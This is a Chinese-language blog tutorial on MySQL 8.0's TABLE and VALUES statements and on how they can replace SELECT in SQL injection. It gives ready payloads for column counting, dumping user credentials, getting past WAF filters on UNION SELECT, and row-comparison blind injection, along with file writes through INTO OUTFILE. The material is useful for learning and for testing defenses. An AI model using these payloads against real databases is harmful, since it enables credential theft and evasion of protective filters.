MySQL8.0新特性利用

MySQL 8.0环境搭建

由于本地配的mysql版本通常为mysql5.7 ,如果想换到mysql8.0 会有不小的麻烦(别问我是怎么知道的),这里直接使用MxSrvs中集成的mysql8.0.19,注意这里用到的新特性是在mysql8.0.19版本之后才有的。

MySQL 8.0新特性

information_schema.TABLESPACES_EXTENSIONS表

从mysql8.0.21开始出现的, table 关键字出现的比较早,在8.0.19之后就有了,所以如果想要使用,还是先要试试这个表有没有,如果 mysql 版本正好在 8.0.19-8.0.21 之间的话,就无法使用了

这个表好用就好用在,它直接存储了数据库和数据表

mysql> TABLE information_schema.TABLESPACES_EXTENSIONS;
+------------------+------------------+
| TABLESPACE_NAME  | ENGINE_ATTRIBUTE |
+------------------+------------------+
| mysql            | NULL             |
| innodb_system    | NULL             |
| innodb_temporary | NULL             |
| innodb_undo_001  | NULL             |
| innodb_undo_002  | NULL             |
| sys/sys_config   | NULL             |
| test/users       | NULL             |
+------------------+------------------+
7 rows in set (0.02 sec)

TABLE语句

TABLE是MySQL 8.0.19中引入的DML语句,它返回命名表的行和列。

用法:

TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]

TABLE与SELECT

TABLE语句在某些方面的行为类似于SELECT。给定存在一个表 t,以下两个语句将产生相同的输出:

TABLE t;
SELECT * FROM t;

TABLE和SELECT关键区别:

  • TABLE始终显示表的所有列;
  • TABLE不允许对行进行任意过滤,也就是说,TABLE不支持任何WHERE子句;

可以通过ORDER BYLIMIT这两各关键字实现限制返回的表列来获取指定的行。

UNION联合查询替换

TABLE可以替换UNION SELECT结构,也可以和SELECT交叉使用,注意两个table的列数必须相同:

TABLE users UNION TABLE mail;
SELECT * FROM users UNION SELECT * FROM mail;
SELECT * FROM users UNION TABLE mail;
TABLE users UNION SELECT * FROM mail;

SELECT xxx INTO OUTFILE替换

可以使用TABLE替换SELECT xx INTO OUTFILESELECT

TABLE users INTO OUTFILE '/tmp/test';
SELECT * FROM users INTO OUTFILE '/tmp/test';

注意,在使用INTO OUTFILE语句的时候,MySQL会报错:

ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

此时,输入如下sql查询语句:

mysql> show global variables like '%secure_file_priv%';
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_file_priv | NULL  |
+------------------+-------+
1 row in set (0.02 sec)

看到secure_file_priv的值为NULL,表示限制不能导入导出。

secure_file_priv参数用于限制LOAD DATASELECT xx INTO OUTFILELOAD_FILE()等:

  • NULL:表示限制mysqld不允许导入或导出;
  • /tmp:表示限制mysqld只能在 /tmp目录中执行导入导出,其他目录不能执行;
  • 没有值:表示不限制mysqld在任意目录的导入导出;

又因为secure_file_priv参数是只读参数,不能使用set global命令修改。

正确的解决办法是在my.ini中添加如下配置,然后重启MySQL即可:

secure_file_priv=''

现在就没问题了:

SELECT xx INTO DUMPFILE替换

和前面OUTFILE是类似的,关键区别在于:

  • OUTFILE导出全部数据,DUMPFILE只能导出一行数据;
  • OUTFILE在将数据写到文件里时有特殊的格式转换,而DUMPFILE则保持原数据格式;

因此,在使用DUMPFILE时需要结合LIMIT选定指定行:

TABLE users LIMIT 1 INTO DUMPFILE '/tmp/test2';

子查询替换

当子查询的表只有单列时,可以使用TABLE语句来替换SELECT进行子查询:

SELECT * FROM users WHERE username IN (TABLE vips);
SELECT * FROM users WHERE username IN (SELECT * FROM vips);
SELECT * FROM users WHERE username IN (SELECT name FROM vips);

VALUES语句

用法简介

VALUES是MySQL 8.0.19中引入的DML语句,该语句返回一组一个或多个行作为表。换句话说,它是一个表值构造函数,还可以充当独立的SQL语句。

用法:

VALUES row_constructor_list [ORDER BY column_designator] [LIMIT number]

row_constructor_list:
    ROW(value_list)[, ROW(value_list)][, ...]

value_list:
    value[, value][, ...]

column_designator:
    column_index

该语句由VALUES关键字组成,后跟一个或多个行构造函数的列表,以逗号分隔。行构造函数由ROW()行构造子句组成,该子句的值列表包含在括号中的一个或多个标量值。值可以是任何MySQL数据类型的文字,也可以是解析为标量值的表达式。

ROW()不能为空(但提供的每个标量值可以为NULL),并且在同一条VALUES语句中的每个语句的列的数量必须相同。

简单地说,VALUES语句可以用来构造表:

mysql> VALUES ROW("q", 42, '2020-02-01'), ROW(23, "abc", 98.6), ROW(27.0002, "Mary Smith", '{"a": 10, "b": 25}') ORDER BY column_1 LIMIT 2;
+----------+----------+------------+
| column_0 | column_1 | column_2   |
+----------+----------+------------+
| q        | 42       | 2020-02-01 |
| 23       | abc      | 98.6       |
+----------+----------+------------+
2 rows in set (0.00 sec)

从输出表的列中看到,其中有隐含命名的列column_0column_1column_2等等,索引从0开始,可使用ORDER BYLIMIT进行排序和输出指定行。其中的列可以是混合类型。

UNION联合查询替换

根据VALUES语句构造表的特性,可以和UNION联合查询中的SELECT语句进行交叉替换使用:

SELECT * FROM users UNION VALUES 1,2,3;
SELECT * FROM users UNION VALUES ROW(1,2,3);
SELECT * FROM users UNION VALUES ROW(1,2,3), ROW(4,5,6);
VALUES ROW('a','b','c') UNION SELECT * from users;
VALUES ROW('a','b','c') UNION VALUES ROW(1,2,3);  // 可完全省略不用select

在SQL注入中的利用

由前面知道,TABLEVALUES这两个语句可用于替换UNION联合查询中的SELECT进行查询,因此这部分新特性主要针对SELECT部分的过滤进行绕过利用。

VALUES ROW() 替换ORDER BY推测列数

推测列数无需ORDER BY,直接用VALUES语句即可:

SELECT * FROM users WHERE id=1 UNION VALUES ROW(1,2);  // 报错
SELECT * FROM users WHERE id=1 UNION VALUES ROW(1,2,3);  // 正常

UNION VALUES联合查询

应用UNION VALUES语句就能直接调用数据库内置函数查询对应的信息:

SELECT * FROM users WHERE id=1 UNION VALUES ROW(1,user(),version());

可以结合CONCAT系列函数进行利用:

SELECT * FROM users WHERE id=1 UNION VALUES ROW(1,null,CONCAT_WS(CHAR(32,58,32),user(),database(),version()));

如果WAF仅仅是过滤UNION SELECT关键字,并没有对UNION VALUES后面添加SELECT进行过滤,那么可以像正常一样利用SELECT结合CONCAT做子查询来dump库:

SELECT * FROM users WHERE id=1 UNION VALUES ROW(1,null,(SELECT GROUP_CONCAT(CONCAT_WS(CHAR(58),id,username,password)) FROM users));

当然,也可以组合TABLE语句进行查询,注意此时TABLE语句指定的表必须是只有一列且限制只能输出一行:

SELECT * FROM users WHERE id=1 UNION VALUES ROW(1,null,(TABLE vips LIMIT 0,1));

UNION TABLE联合查询

使用UNION TABLE的时候,注意两个表的列数必须相同:

SELECT * FROM users WHERE id=1 UNION TABLE mail;

盲注

利用小于号会逐个比较一行中每一列值的大小来进行盲注,当然,除了小于号、其他比较符可自行构造,如下:

SELECT * FROM users WHERE id=1 OR (1,'a','') < (TABLE users LIMIT 1);
SELECT * FROM users WHERE id=1 OR (1,'b','') < (TABLE users LIMIT 1);

SELECT * FROM users WHERE id=1 OR (1,'admin','pass123') < (TABLE users LIMIT 1);
SELECT * FROM users WHERE id=1 OR (1,'admin','pass123') = (TABLE users LIMIT 1);

符号比较问题

先看如下这种情况,使用小于号 < 比较进行盲注。第一列第二个字段的值是 john ,当比较第一个字符时,j 字符已经是正确的字符,但是输出的结果需要是下一个字符k才会出现变化,这是因为当前字符相等的情况下会判断下一个字符,所以比较的结果仍然是前者小于后者。所以,需要将比较得到的结果的 ascii编码-1 再转换成字符才可以。

mysql> TABLE users LIMIT 1,1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  2 | john     | john456  |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> SELECT ((2,'j','') < (TABLE users LIMIT 1,1));
+----------------------------------------+
| ((2,'j','') < (TABLE users LIMIT 1,1)) |
+----------------------------------------+
|                                      1 |
+----------------------------------------+
1 row in set (0.00 sec)

mysql> SELECT ((2,'k','') < (TABLE users LIMIT 1,1));
+----------------------------------------+
| ((2,'k','') < (TABLE users LIMIT 1,1)) |
+----------------------------------------+
|                                      0 |
+----------------------------------------+
1 row in set (0.00 sec)

当然,反过来注入,从大的 ascii 编码往下注入到小的就没有这个问题了,例如下方的字符表(去掉了一些几乎不会在mysql创建表中出现的字符)

~}|{zyxwvutsrqponmlkjihgfedcba`_^][ZYXWVUTSRQPONMLKJIHGFEDCBA@ ?> =<;:9876543210/-,+*)(&%$ #!

字符转换与大小写问题

COLLATE属性用于指定列的排序和比较方式,我们在使用ORDER BYDISTINCTGROUP BY等命令时都会涉及到该属性。另外我们在对表建索引时,如果索引列是字符类型,那么COLLATE属性也会影响到索引的创建。

COLLATE通常是和字符编码CHARSET相关的,每种CHARSET都对应了多种它所支持的COLLATE,并且会指定一个默认COLLATE。比如utf8mb4编码的默认COLLATE为utf8mb4_general_ci

MySQL 8+版本中,默认的CHARSET直接改成了utf8mb4,对应的默认COLLATE也改成了utf8mb4_0900_ai_ci,这是unicode的一个细分,就相当于utf8mb4_unicode_ci。这里的 ci 后缀是Case Insensitive的缩写,表示大小写无关。对应的_cs后缀表示大小写敏感。

因此比较的时候需要使用COLLATE指定utf8mb4_bin编码来区分大小写:

mysql> SELECT ('a') = ('A');
+---------------+
| ('a') = ('A') |
+---------------+
|             1 |
+---------------+
1 row in set (0.00 sec)

mysql> SELECT ('a') = ('A') COLLATE utf8mb4_bin;
+-----------------------------------+
| ('a') = ('A') COLLATE utf8mb4_bin |
+-----------------------------------+
|                                 0 |
+-----------------------------------+
1 row in set (0.00 sec)

参考资料

TABLE Statement

VALUES Statement

MYSQL8.0注入新特性

浅析MySQL8.0新特性利用

MySQL8新特性注入技巧

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇